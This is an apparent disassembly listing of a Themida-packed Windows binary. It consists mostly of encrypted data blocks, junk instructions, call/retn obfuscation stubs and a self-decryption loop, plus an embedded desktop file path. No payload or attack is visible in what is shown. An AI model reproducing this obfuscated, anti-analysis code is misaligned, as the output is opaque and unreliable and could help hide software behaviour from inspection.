		dd 3F456931h, 9DB2A0BEh, 0F90696BCh, 0B0B7E6B1h, 0D8EECA3Eh
		dd 0D8DBA731h, 0D8B23B63h, 8291E931h, 8C38AEF2h, 9C307E15h
		dd 0D8A63915h, 8AF39E31h, 4F339EF2h, 0A030C18Bh, 0D7942C3Ah
		dd 0D8B1DDB4h, 0DD38FB31h, 0BEB17A31h, 0D2BE6B0h, 0D8B1C5D8h
		dd 8BB12531h, 0D8B1A4D9h, 1BEAF331h, 0FCED606Ah, 0FCF57535h
		dd 0D8B16635h, 1BE27E31h, 0DDDBBA1Bh, 13D69817h, 0D8B11F0Ch
		dd 0D8DBD331h, 0D8B20162h, 8391F431h, 843821F2h, 9C303915h
		dd 0D8A89A15h, 8BF24F31h, 0C55605F2h, 0D18CC1ABh, 0CA99F884h
		dd 0D8911D37h, 6DB87A31h, 0DEA33194h, 0D8B19F89h, 0D8BCA631h
		dd 3F29A731h, 2D49062h,	0F49C52D0h, 0D7A509C1h,	31E1B386h
		dd 0D8B13D3Bh, 0E9D790CAh, 35B24DA2h, 0DC389EDFh, 3F30B515h
		dd 653CFE4Fh, 0DEA6A656h, 80BDF7BCh, 0FB093B26h
		dd 0DBC6F864h, 0CA95EAB4h, 197E8C37h, 0D9B14AD8h, 6FBE0430h
		dd 7634B0F9h, 53B78B47h, 0CA961ABCh, 58615837h,	0E983FDC7h
		dd 58A4F305h, 0B5316060h, 612161Dh, 1DC98D89h, 60610612h
		dd 9E8h, 7D16E500h, 0BB79D298h,	0F55A67C5h, 89606161h
		dd 1226C585h, 4ED98006h, 0FC00B61h, 6E84h, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h
		dd 0F155B2Ch, 88Bh, 858B6000h, 612154Dh, 0B9950B61h, 8D061213h
		dd 124E4BB5h, 0BDBD8B06h, 0B8061207h, 3, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 16h, 5CC35141h, 88BF4A87h
		dd 0FF2CC9AAh, 5DF81E6h, 407E31BAh, 23819D29h, 0C08B0612h
		dd 8E9h, 40A54E00h, 5443F459h, 1BD833Fh, 6122Fh, 0BD830975h
		dd 6122149h, 50197400h,	0B8C08B53h, 403h, 2B98589h, 9D8D0612h
		dd 614AD70h, 585BD3FFh,	2149BD83h, 74000612h, 0B8535017h
		dd 403h, 2B98589h, 9D8D0612h, 614AA11h,	585BD3FFh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 79C35242h, 1AE8A93h
		dd 0AE9h, 0C7D6A900h, 86CD1F7Dh, 8B321281h, 57006AD7h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 6672D1C9h, 8B3C00BAh, 69958BC0h, 61061228h, 5A688D8Dh
		dd 0AE90617h, 9D000000h, 0C30A7F81h, 2C4C9543h,	0CD8D8921h
		dd 6A06122Dh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 17042444h, 46000000h, 1293C356h, 858BA09Ch, 612331Dh
		dd 31BD85C7h, 72F00612h, 0B58B0000h, 6122ED1h, 1185C7h
		dd 612h, 6A0000h, 3E851h, 59200000h, 4C8959C3h,	44810424h
		dd 150424h, 51410000h, 661294C3h, 0FF3AAEBAh, 120C89B5h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1D04h
		dd 0C3554500h, 5DF4230Fh, 0D8EECA32h, 8B669D85h, 8195FFD6h
		dd 6A061227h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1C042444h, 41000000h, 0D259C351h, 170FF170h,	668723D0h
		dd 6AE9A9BAh, 0D195FF00h, 8B061229h, 2B4AEBC0h,	0E3DDF67h
		dd 162CFF0h, 20A6A684h,	806E4064h, 8F8E04F3h, 0BAE428FBh
		dd 0A4A86946h, 0F10B29A3h, 92C93DD0h, 457934F9h, 3BDF359Bh
		dd 370A1B02h, 63D14819h, 0B69423EFh, 9A1317C8h,	0DA80BFA8h
		dd 1B9CDBBEh, 7C4062DCh, 0D78D8DBAh, 6A06175Bh,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
		dd 0A865C357h, 2DCD8D89h, 6A0612h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 160424h, 57470000h, 379D5BC3h, 0C8B70F60h
		dd 14E9h, 0DA36800h, 61FA69F8h,	0D7574409h, 7257B9DEh
		dd 0E172CDD3h, 0AE86163h, 24000000h, 0A1CE56CFh, 669F797Eh
		dd 0AE970h, 0ADBA0000h,	8FCB49A7h, 22F12DFEh, 58D315Bh
		dd 0C7061215h, 1231BD85h, 691406h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 0F7E443C4h
		dd 0C58D67F9h, 85C76E19h, 6120011h, 0
; ---------------------------------------------------------------------------
		mov	ax, 0ECEDh
		push	dword ptr [ebp+61214C1h]
		push	0
		push	esi
		call	sub_5D1669
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D1669	proc near		; CODE XREF: Themida_:005D1661p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 14h
		inc	esi
		push	esi
		retn
sub_5D1669	endp

; ---------------------------------------------------------------------------
		inc	ebp
		mov	[ebp+612162Dh],	ecx
		call	dword ptr [ebp+6122781h]
		push	0
		push	ecx
		call	sub_5D1691
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D1691	proc near		; CODE XREF: Themida_:005D1689p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ch
		inc	ecx
		push	ecx
		retn
sub_5D1691	endp

; ---------------------------------------------------------------------------
		jo	short near ptr loc_5D170E+2
		fmul	qword ptr [edx]
		imul	ebp, esp, 6A7766h
		call	dword ptr [ebp+61229D1h]
		mov	eax, eax
		jmp	short loc_5D1702
; ---------------------------------------------------------------------------
		dw 838Ch
		dd 1BA6E3C4h, 0CFC0696Eh, 7F2C02B2h, 5F68FBCFh,	0F8CFE6E6h
		dd 7BE68ABBh, 3ADAB403h, 0CEB371AEh, 11BA2114h,	530D148Ah
		dd 6E8409A1h, 5B9030BCh, 9156D889h, 550F9F58h, 18313D48h
		dd 0B6722024h, 0C95D75AEh, 0D16C54F2h
; ---------------------------------------------------------------------------
		aas
		movsd


loc_5D1702:				; CODE XREF: Themida_:005D16B4j
		call	near ptr loc_5D170E+1
		xchg	bh, [edi+7906435Eh]
		xlat


loc_5D170E:				; CODE XREF: Themida_:loc_5D1702p
					; Themida_:005D16A1j
		shr	al, 0Ch
; ---------------------------------------------------------------------------
		db 3 dup(0)
; ---------------------------------------------------------------------------
		mov	ds:9C39C401h, al
		icebp
		sbb	dword ptr [ebx-0Eh], 0FFFFFFDEh
		scasb
		or	eax, 1D9D9533h
		adc	al, [esi]
		pop	ecx
		pop	eax
		mov	edx, ecx
		add	eax, 6484h
		add	bl, 5Fh
		xor	esi, esi
		pusha
		xor	[ebp+6120F19h],	edi
		mov	esi, [ebp+6123389h]
		popa


loc_5D1743:				; CODE XREF: Themida_:005D17A9j
		push	dword ptr [esi+eax]
		mov	ecx, [ebp+6121C9Dh]
		pop	edi
		mov	edx, [ebp+6122D75h]
		sub	edi, 0B9F32BFh
		mov	[ebp+6120B41h],	ecx
		xor	edi, 3EC10214h
		mov	bx, 0FB41h
		xor	edi, 42BE15E0h
		mov	bh, 0D3h
		push	edi
		mov	bx, si
		pop	dword ptr [eax+esi]
		sbb	cx, 0F21Ah
		mov	dx, si
		sub	esi, 4
		mov	edx, 5DD0CF95h
		cmp	esi, 0FFFF9C24h
		jnz	loc_5D17A7
		mov	edx, [ebp+612330Dh]
		jmp	loc_5D17B3
; ---------------------------------------------------------------------------
		db 0F3h
; ---------------------------------------------------------------------------
		cdq
		dec	esi
		xor	ecx, [edi-4Fh]
		retf
; ---------------------------------------------------------------------------
		xchg	eax, edi


loc_5D17A7:				; CODE XREF: Themida_:005D178Ej
		mov	bh, 0B5h
		jmp	loc_5D1743
; ---------------------------------------------------------------------------
		mov	eax, ds:38E64948h


loc_5D17B3:				; CODE XREF: Themida_:005D179Aj
		call	near ptr locret_5D17BF+2
		dec	eax
		ror	byte ptr [ecx-5F4D6ADFh], cl

locret_5D17BF:				; CODE XREF: Themida_:loc_5D17B3p
		retn	0BE77h
; ---------------------------------------------------------------------------
		dw 6B34h
		dd 0E85A440Fh, 13h, 0A396059Ah,	0DC5F5EA3h, 0F333B286h
		dd 9FD838C9h, 0FF5828Fh, 86h, 0C2815800h, 65ECh, 0FEE68166h
		dd 6631B9CDh, 0C181176Dh, 0E892B31Dh, 25BDB58Bh, 32FF0612h
		dd 56605FFCh, 8B1B589h,	0F5E0612h, 48Ch, 49BB6600h, 0C781611Bh
		dd 752FC5F6h, 7E8h, 7AA52800h, 746DD8C6h, 81585E56h, 0EB2E9C7h
		dd 0C2B86672h, 0AEF8179h, 811F685Eh, 5EBEB5C8h,	858B5709h
		dd 61228D1h, 0F60028Fh,	0F38AFEB7h, 4EA8361h, 68D0Fh, 0B58B0000h
		dd 61232C9h, 1E981h, 850F0000h,	0FFFFFF92h, 0D4712ADEh
		dd 0DC4B46D4h, 0C8557F01h, 98525CD4h, 0A90B3363h, 982633A9h
		dd 5E265AF1h, 8A33F2EFh, 0B44E6033h, 67A5E4FFh,	8A1732F8h
		dd 0E2A3BEA0h, 672026D1h, 0C5A3BA79h, 1B2021CCh, 8A08DED7h
		dd 1D293333h, 98263383h, 0C580B6C0h, 157635B1h,	8F7BABD6h
		dd 0DD963AFh, 9E342B89h, 98266483h, 15235935h, 8F7B9B1Fh
		dd 1DAB634Bh, 9E316E3Eh, 0D5B3CC03h, 932021BDh,	0A1A23C14h
		dd 1526336Ah, 8F7B9BB0h, 0AACE639Ch, 0D826334Dh, 36A3BEF6h
		dd 0C820240Eh, 0C58EB624h, 677635C3h, 8A3512FFh, 94E2B033h
		dd 0C58EB617h, 1576355Ah, 8F7BAB23h, 0DD96355h,	9E342BF4h
		dd 9826513Dh, 74AD666Ah, 0CE746464h, 0AB2E4E11h, 9824DA8Dh
		dd 0DF6633A6h, 97260CD3h, 67D9C62Ch, 13EF002Bh,	0B2CF3B17h
		dd 0AB263335h, 1831B948h, 68AD03A7h, 5AAD63E8h,	982C8800h
		dd 9BCF33A9h, 6F2633D4h, 66A57D89h, 6CA13C35h, 0C3D9CC65h
		dd 0DF7EFB4Eh, 97E638EEh, 67D9FDD6h, 0C6E7B856h, 517F6C8Eh
		dd 152637A8h, 8F7BA588h, 53ABBE9Ch, 20202413h, 93h, 71E7FC78h
		dd 0D0073102h, 4C783C8h, 0F2850F49h, 8DFFFFFFh,	175ECBB5h
		dd 0EA8D8D06h, 2B06175Eh, 5E983CFh, 8D8DC88Bh, 6175FFBh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 1C35242h
		dd 6F48DF81h, 8D89746Bh, 6122DCDh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 17h, 6C35040h, 0F8B01D3h, 85C7D2BFh
		dd 61231BDh, 5B04h, 0E856006Ah,	3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ah, 42C35646h, 0B7EF97EDh, 8C0F5335h, 6
		dd 3041B531h, 85C70612h, 6120011h, 0
; ---------------------------------------------------------------------------
		push	0
		push	edi
		call	sub_5D1A63
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D1A63	proc near		; CODE XREF: Themida_:005D1A5Bp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 19h
		inc	edi
		push	edi
		retn
sub_5D1A63	endp

; ---------------------------------------------------------------------------
		mov	dl, 0BAh
		add	al, 37h
		jecxz	short loc_5D1AE4
		push	dword ptr [ebp+6120835h]
		xor	[ebp+6122419h],	edx
		call	dword ptr [ebp+6122781h]
		push	0
		push	edx
		call	sub_5D1A96
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D1A96	proc near		; CODE XREF: Themida_:005D1A8Ep

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 18h
		inc	edx
		push	edx
		retn
sub_5D1A96	endp

; ---------------------------------------------------------------------------
		dw 20C6h
		dd 0E989FC44h, 12h, 0AFA788Ah, 0C12E0BF0h, 8E9AA192h, 0CE921CC5h
		dd 0E2819E25h, 377DEC18h, 281DB58Bh, 6A0612h, 29D195FFh
		dd 0C08B0612h, 0D5E24DEBh, 8D94B09Eh, 8EC0A284h
; ---------------------------------------------------------------------------


loc_5D1AE4:				; CODE XREF: Themida_:005D1A77j
		adc	eax, [ebx]
		dec	esp
		mov	ds:0E13B14F8h, al
		retf	177Bh
; ---------------------------------------------------------------------------
		db 0ACh
		dd 0A607B0Dh, 37651E4Eh, 0FB46AC5Ah, 0F072E251h, 0C9EB4883h
		dd 0EFCFB3A0h, 99D50F1Fh, 61953608h, 0A3CC68D2h, 604404D1h
		dd 2AE0F27Dh, 20E04872h, 8CD68CDEh, 8D55084Eh, 1761558Dh
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1404h
		dd 0C3534300h, 0C7BF0F4Ch, 2DCD8D89h, 6A0612h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 277426C3h, 80FCED39h, 0B50BCD71h, 6121AC5h, 0AE9h, 0F1CD2000h
		dd 0A03EDEC2h, 0C7F5C71Eh, 1231BD85h, 6D3006h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1904h, 0C3564600h
		dd 9ED0FC1Dh, 85C70385h, 6120011h, 0
; ---------------------------------------------------------------------------
		sbb	di, 5653h
		push	dword ptr [ebp+61232E5h]
		push	0
		push	eax
		call	sub_5D1BD6
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D1BD6	proc near		; CODE XREF: Themida_:005D1BCEp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ah
		inc	eax
		push	eax
		retn
sub_5D1BD6	endp

; ---------------------------------------------------------------------------
		dw 77D8h
; ---------------------------------------------------------------------------
		cmp	al, 38h
		aad	1Ch
		retn	6E8h
; ---------------------------------------------------------------------------
		align 10h
		dd 5C60000h, 1C04694Ah,	0FF5B6EB4h, 12278195h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1504h, 0C3504000h
		dd 0C78177A6h, 367A5385h, 5EC6BF66h, 95FF006Ah,	61229D1h
		dd 7CEBC08Bh, 1C3C3B21h, 0C95FB17Bh, 2EEAC6ECh,	0E0598472h
		dd 0B185F4CBh, 0E23BFFA1h, 8E5A4984h, 0E302B385h, 6D272884h
		dd 5D56EC79h, 0EB7F286Ch, 0C3F3ED26h, 1CD14BBAh, 8BEC9CFEh
		dd 6650DD1Bh, 2D8FD053h, 8E07AEB8h, 0D52F4BE8h,	0E2CA339h
		dd 936BA091h, 647E7BCh,	1B0F4575h, 63FA0301h, 0D03E0Eh
		dd 0EA1C7DB2h, 0F3A9189Ch, 0BCE79B5Fh, 0D788C7FBh, 20C42209h
		dd 78D211D2h, 861AFE72h, 0B0E9h, 8C666000h, 4C2F6DAh, 0C850Fh
		dd 853B0000h, 61217F1h,	36840Fh, 853B0000h, 612335Dh, 2A840Fh
		dd 853B0000h, 6122FD1h,	1E840Fh, 853B0000h, 6123081h, 12840Fh
		dd 0BD830000h, 61214ADh, 5840F01h, 0E9000000h, 5Fh, 5203D08Bh
		dd 88BA8B3Ch, 8B000000h, 0C985784Ah, 49840Fh, 0C2810000h
		dd 0F8h, 30C728Bh, 1C598BC8h, 314518Bh,	850B8BD8h, 10840FC9h
		dd 3B000000h, 17820FCEh, 3B000000h, 0F830FCFh, 83000000h
		dd 0F4A04C3h, 0FFFFDC85h, 0DE9FFh, 9D8D0000h, 6124E4Bh
		dd 5B8h, 61E3FF00h, 0E9D00BC3h,	8Ch, 1347A293h,	445C3A43h
		dd 6D75636Fh, 73746E65h, 646E6120h, 74655320h, 676E6974h
		dd 614D5C73h, 6D697472h, 72614320h, 656E6F62h, 7365445Ch
		dd 706F746Bh, 6169445Ch, 2E676F6Ch, 657865h, 13h dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5D2D36
; ---------------------------------------------------------------------------
		push	61764BAh
		jmp	loc_59027A
; ---------------------------------------------------------------------------
		push	61765BDh
		jmp	loc_59027A
; ---------------------------------------------------------------------------
		push	6176775h
		jmp	loc_59027A
; ---------------------------------------------------------------------------
		push	61767CAh
		jmp	loc_59027A
; ---------------------------------------------------------------------------
		push	617686Dh
		jmp	loc_59027A
; ---------------------------------------------------------------------------
		push	61768F0h
		jmp	loc_59027A
; ---------------------------------------------------------------------------
		push	6176D60h
		jmp	loc_59027A
; ---------------------------------------------------------------------------
		push	6176FC1h
		jmp	loc_59027A
; ---------------------------------------------------------------------------
		push	61770C9h
		jmp	loc_59027A
; ---------------------------------------------------------------------------
		db 98h
		dd 0D177BD1Bh, 0BB1F74Dh, 41E72D8Bh, 761C62C2h,	17559BF5h
		dd 52AE2F8Bh, 8DE3660Ch, 0C91FA147h, 95FDD83h, 0BC008CC3h
		dd 21F75137h, 153162B3h, 0A0AE4197h, 427EC422h,	0F487DD5Ch
		dd 0CFDAC022h, 320CD71Bh, 64CE27E0h, 9474CE5Bh,	0D5272A2Eh
		dd 0B88350B1h, 0FA429D5Bh, 86509498h, 4421F247h, 0CDB47DAh
		dd 0ECDE0E19h, 65E1955Ah, 415AF7CBh, 2Eh, 0FF0C9DA8h, 5E8E2AD8h
		dd 7599EBC0h, 20B30D8Fh, 0A4E8EC4Eh, 21F22712h,	77E376E0h
		dd 0DE0E2168h, 8531F688h, 5AF7E809h, 0F2E5h, 97154C00h
		dd 1FA0AE41h, 319236C9h, 0A88CFB3h, 3E4719ACh, 0CAD30246h
		dd 48FDEF3h, 41AF1116h,	0C4D265C3h, 0A6AAF046h,	27E04C96h
		dd 0F422A389h, 0E04723B0h, 0EB3DA727h, 699D1B89h, 0E047DE25h
		dd 60B21C27h, 0A0F6741Ah, 0FF83690Dh, 2E7216A9h, 27E047A5h
		dd 769BB25h, 0E328821h,	0F24C08CAh, 0AA2D1321h,	61CBF052h
		dd 16ACFD1Bh, 0B6FA76F2h, 0DE0E582Dh, 318707ADh, 187ACC9Eh
		dd 1AF58A4Ch, 0BADE48D8h, 99FB51D4h, 0D22EAF95h, 0B65E68Ch
		dd 0AFE731B2h, 0D9C6C9F5h, 0CD5h, 347ADE5Bh, 6EB40A8Eh
		dd 0A4EA48C8h, 0E3297FFEh, 1E64BC3Dh, 7BFCC2E0h, 0B639DF25h
		dd 0F072185Eh, 2CAA5096h, 0C14D84CAh, 0F756767Dh, 0F2237421h
		dd 991D037Fh, 328C5743h, 0E44E27E0h, 3D931482h,	59AF3319h
		dd 6C92F4C6h, 0A8EE48C6h, 7103866Ch, 0B04395F3h, 9D9B7CDEh
		dd 1692B60Ch, 0C957AD30h, 885AED4Bh, 13C45A26h,	2C9621F2h
		dd 0ECA22D99h, 0AC3EDE0Dh, 1CC33FCBh, 0BD9F5AF8h, 6000000h
		dd 1D419715h, 0C75AB637h, 8CDE36B9h, 28A9B72Ah,	0C9D13DD0h
		dd 4A27E036h, 56B02ECCh, 0E9E8F1C3h, 0C138B503h, 17BD0355h
		dd 26AC3F99h, 0D91D4183h, 0DE0DF33Bh, 7FD95B01h, 0E0C9E72Dh
		dd 9D72B6DAh, 5DD81924h, 0D753CFF3h, 39244093h,	60E48AD4h
		dd 53A5770Ah, 0EF0283F1h, 3BF86E22h, 6488DA80h,	315FA4E8h
		dd 0D252D439h, 63C52F74h, 316973Dh, 29F1CC1h, 64BD0F2Fh
		dd 0F5AFE9E9h, 0D2998689h, 5800000Bh, 91377DDBh, 0CB71B70Dh
		dd 1A7ED4Bh, 36DC2282h,	0D7155BB5h, 126EEFCBh, 4DA326CCh
		dd 89DF6107h, 0C91F9D43h, 7CC04C83h, 21F75777h,	15F12273h
		dd 50F63C94h, 152E74D2h, 0AE419715h, 0A0C422A0h, 9F64A824h
		dd 5B27E032h, 32FE05F1h, 92FC27E0h, 0BDEC0A30h,	0BD9FE307h
		dd 7F21F21Ch, 0ACFE56D9h, 0E322AD19h, 2CBEDE0Dh, 2943BF4Bh
		dd 0E1F5AF8h, 63000000h, 0FA2FA7Dh, 36FADB3Dh, 89Ah, 7A0C9D6Dh
		dd 264A9CFAh, 0F21BD4E2h, 82C9621h, 0ADABD7A7h,	2A8CB083h
		dd 0CD2BA9B7h, 3363E187h, 0D29E4EFh, 0C240E6DEh, 0ADFFD164h
		dd 0C7D6375Bh, 0E0219BEFh, 0D6D32064h, 0AD17DE0Dh, 1A86F95Bh
		dd 0B949F5E7h, 0FC7CDD51h, 83AE7264h, 47273784h, 0F613ED4h
		dd 0CEAC93ADh, 0ECD2F650h, 0AF81146Ah, 381274Dh, 58A612A5h
		dd 82B54993h, 23A19F60h, 5BD97FC5h, 931CE72Bh, 74DEB549h
		dd 6FEB8F22h, 4993D82Bh, 56B822B5h, 0B66C808Ah,	0E8CFD14Ah
		dd 0BC12967Ch, 87F55729h, 0C369AF09h, 0CA50E345h, 75B9DDDFh
		dd 0B35BB14Bh, 0CBD91F89h, 2247A8F6h, 0E5F4B847h, 0D0D9BF21h
		dd 0B482C6EAh, 36AD651Eh, 0C13D91CCh, 6516767Dh, 10A74A1h
		dd 564BC115h, 0B581E371h, 7F75B1D9h, 0C9EDCFDAh, 0A85A5168h
		dd 5C1CA28h, 4CE9DBB0h,	30CCE3B7h, 34787CDEh, 8986812Ah
		dd 95FE3C9h, 1D42A476h,	0F9A20B3h, 0C04589ADh, 0B283971Ch
		dd 7CFC8E0Ch, 6FC19326h, 94B80ADCh, 189A30AEh, 80266CBEh
		dd 8CEA6802h, 0C21155F9h, 8BBAD1Bh, 0A1FA4C9Eh,	9A3B730Eh
		dd 1AD6C3C6h, 0A000000Ah, 0D97FC523h, 13B9FF55h, 49EF3593h
		dd 7E246ACAh, 1F5DA3FDh, 5AB63783h, 95EB6E14h, 0D127A94Fh
		dd 1167E58Bh, 0C40894CBh, 21F7553Fh, 7F396ABBh,	0A65EED1Eh
		dd 0E00F9162h, 0E6EF5927h, 9CFE2C73h, 9B1AB02Eh, 86D8AA3Dh
		dd 76F5942Dh, 74616406h, 9C5h, 246ACE4Bh, 5EA4FA7Eh, 94DA38B8h
		dd 0D3196FEEh, 0E54AC2Dh, 6BECD2D0h, 0A629CF15h, 0E062084Eh
		dd 1C9A4086h, 0B13D74BAh, 0F755666Dh, 0E2136421h, 87059715h
		dd 7ACC9E31h, 58D9E7h, 0B5C9ACBAh, 66AACEF4h, 21F22758h
		dd 5975B01Ah, 1FB0814Bh, 3F635950h, 0C2A16DFBh,	72056F19h
		dd 0E307BDECh, 6BEA7EFDh, 5559BB0Dh, 3ED778D9h,	0B9EF7C87h
		dd 81068B57h, 9D1913EBh, 0E89D8A59h, 84E6500Bh,	0EBD1F55Fh
		dd 0BD4FCF6Dh, 0FE91E339h, 0C21C9E2Ch, 0C50B5D2Fh, 0EE47A11Fh
		dd 2A7EF54Dh, 22AD9A9Dh, 0A8000009h, 0E187CD2Bh, 1BC1075Dh
		dd 51F73D9Bh, 862C72D2h, 2765AB05h, 62BE3F7Bh, 9DF3761Ch
		dd 0D92FB157h, 196FED93h, 0CC109CD3h, 21F75A07h, 154172C3h
		dd 0A0AE4197h, 7E82C81Eh, 27E03215h, 0B2F9514h,	0F750AEC7h
		dd 2CAA5021h, 6E5478CAh, 8C7296F0h, 0A826B40Ah,	87E9BB4Eh
		dd 0BF3F2561h, 7604D669h, 0D13FA1F7h, 5462F553h, 0DCEA7DD3h
		dd 0E5EE325Ah, 0E5DE08ACh, 5DD0297Bh, 0F5FF9EC4h, 89F05F2h
		dd 0A8250000h, 0E0640A50h, 1E9E448Ah, 5DDC82C8h, 9A1BC107h
		dd 0E8BAF83Eh, 0B1F751D2h, 0EA30880Bh, 266CC244h, 5EA40280h
		dd 8C579B27h, 4E21F75Ah, 9715CCFDh, 32D82B6Fh, 0B82227E0h
		dd 47C5D366h, 3208DB1Fh, 68D227E0h, 6CFF59DAh, 0D8B5489Ah
		dd 465F1B6h, 624D3009h,	0D32FF45Dh, 38722B2Fh, 981684E6h
		dd 209CF83Eh, 0FE54E5A6h, 57Ah,	0B60C9D65h, 0AE301692h
		dd 65F3C558h, 26F88BE1h, 5079F8C4h, 26A221F7h, 8AF11E2h
		dd 0D6FD9DEh, 745A7EE8h, 3A3EA0F6h, 3A80D654h, 7BFC8C1Ch
		dd 99099225h, 6C3AE710h, 801365B7h, 95F87BDCh, 4217B766h
		dd 7DDF35B4h, 64D969B1h, 0B87F11A7h, 69DB900Ch,	506ED4h
		dd 9DD50000h, 1995B90Bh, 0F658B033h, 0E032D92Ah, 0DA5C4227h
		dd 32656EB2h, 0FB6527E0h, 880816A9h, 73C5972Ah,	0EF82EC11h
		dd 8EE6654Bh, 50D3602Ch, 23B50787h, 5A2CA85Ch, 130A754Dh
		dd 71000000h, 0C117997Fh, 23F125Fh, 40260000h, 1D366BCh
		dd 1E7FBE9Fh, 789DC6C9h, 9D83E57Fh, 0BA26B90Bh,	5E8C0162h
		dd 13A7881Ah, 0CE520797h, 4F73h, 0B9DDA00h, 3250A3E7h
		dd 309A27E0h, 323BC80Ch, 55BF27E0h, 75F9DF03h, 0B60860E3h
		dd 7CEF5123h, 8C5EF710h, 5A67EA5Eh, 7D320F6Ch, 23B60845h
		dd 0A83B9115h, 0F5B778FAh, 92D652CEh, 0A1730A41h, 0A3BD1F89h
		dd 0BEAC28DCh, 958ACE52h, 0F1000000h, 282F1E7Fh, 0E1213483h
		dd 0AD0F997Fh, 0C325A389h, 0CA195D61h, 1027E067h, 1B9C82A6h
		dd 6724AFF3h, 3CA627E0h, 238557EAh, 8AE4CA13h, 0BF432915h
		dd 7604D669h, 36089BF5h, 41F5BAD4h, 54E5E4C5h, 8B13A304h
		dd 78466351h, 390B9EF4h, 411E85E7h, 85000000h, 1C071E7Fh
		dd 84E5175Bh, 586C3C22h, 4BE1F034h, 43E927E0h, 2D467C1h
		dd 5E1100F9h, 97E9077Ch, 0E2001273h, 0F3A2665Eh, 5027A591h
		dd 4DF9BEC8h, 54E524D1h, 7ADh, 36361400h, 6D000001h, 0E436h
		dd 0B9D6D00h, 76BA26B9h, 2672B071h, 0AB27D394h,	87AA3639h
		dd 0B2h, 0F80B4FCBh, 238D4F87h,	4F8714DFh, 276CD68Dh, 9D7A5BBDh
		dd 5195B90Bh, 27E03282h, 3EBADE48h, 0E032E9FAh,	5CE1227h
		dd 0C527E032h, 4AAC165Bh, 1FBC6BD7h, 0A9C07C0h,	47CBB125h
		dd 0C2111C3Ah, 27792D2Ch, 4B25A1C5h, 3647506h, 28954DDFh
		dd 5CC3250Bh, 54h
		dd 0E036BAA0h, 38197B4Dh, 0FD7D0B9Dh, 0F04214A7h, 327B88CCh
		dd 0BAA027E0h, 784ADD3Bh, 32C31054h, 9D0727E0h,	96DA163Bh
		dd 27E0324Dh, 0ADD1238Dh, 58EB45C7h, 186ACC4Ah,	28D743B6h
		dd 84AC01Fh, 8905B176h,	0C8C20623h, 730660E2h, 7D83FA1h
		dd 3F000000h, 6836h, 97156D00h,	0B442AE41h, 127E032h, 0DC5A5017h
		dd 96DA567Ah, 27E0324Dh, 9BC1238Dh, 0E70B9D82h,	0E03250A3h
		dd 0FD32D627h, 0DB625AE8h, 0CEDA2C96h, 242E2A50h, 2FE0F43h
		dd 0F3327E0h, 2844F93h,	5E8227E0h, 0A1151491h, 0EF51BB00h
		dd 0E5D250CBh, 0FEE42A54h, 0D6EFFFFh, 333D332Bh, 50CE5CDEh
		dd 36B394F6h, 29Ah, 4197156Dh, 0C422A0AEh, 3749607Eh, 42A020B4h
		dd 398BDDAFh, 35B39915h, 0C6E40D3h, 0F21DB640h,	37CA3421h
		dd 0DE33CCBh, 0E6F375DEh, 11C735F3h, 0B94C9EA7h, 3BCE2AABh
		dd 42E4CBCDh, 12A6891Bh, 5AF80296h, 1272F1D7h, 0DD8AF67Fh
		dd 0C7F17ED0h, 939C6C75h, 2F559A72h, 3E66CDh, 0C4AA0000h
		dd 8759EC42h, 997F4425h, 795FC117h, 80668A30h, 4347A9FFh
		dd 0F213B9FFh, 16953B21h, 56AC30BEh, 0E7CD7104h, 0AC7E1167h
		dd 0ED717E4Ah, 0FD8FDE0Dh, 1C128E3Ah, 0DDF05AF8h, 57000000h
		dd 0BF15997Fh, 8AF85A2Ch, 7317AA0Ch, 0C56EA912h, 1678703Fh
		dd 3ED127A8h, 3054B230h, 0D96CCA4Ah, 2432A507h,	60A50A6h
		dd 27E01D36h, 83A7017Fh, 420EEB22h, 0D265C3h, 1C7DFFF7h
		dd 725894BAh, 513799EFh, 0C23E6258h, 71045ADCh,	10713D9Fh
		dd 0DA21F479h, 5895A9Eh, 0AB51DE0Ch, 693BCE2Ah,	0AA0A8917h
		dd 0CFF34517h, 0CA1068E9h, 377BA324h, 0DE0C05ACh, 0C70C64E5h
		dd 75B20B5Dh, 0CDFF9A6Dh, 42FDDCAh, 38B50000h, 70F49AE0h
		dd 0AE2ED41Ah, 0ED6C1258h, 2AAB5197h, 584A88CEh, 4187E162h
		dd 7AC0189Bh, 0B6FC52D4h, 0EE349210h, 1CE72BB7h, 0DE21F75Fh
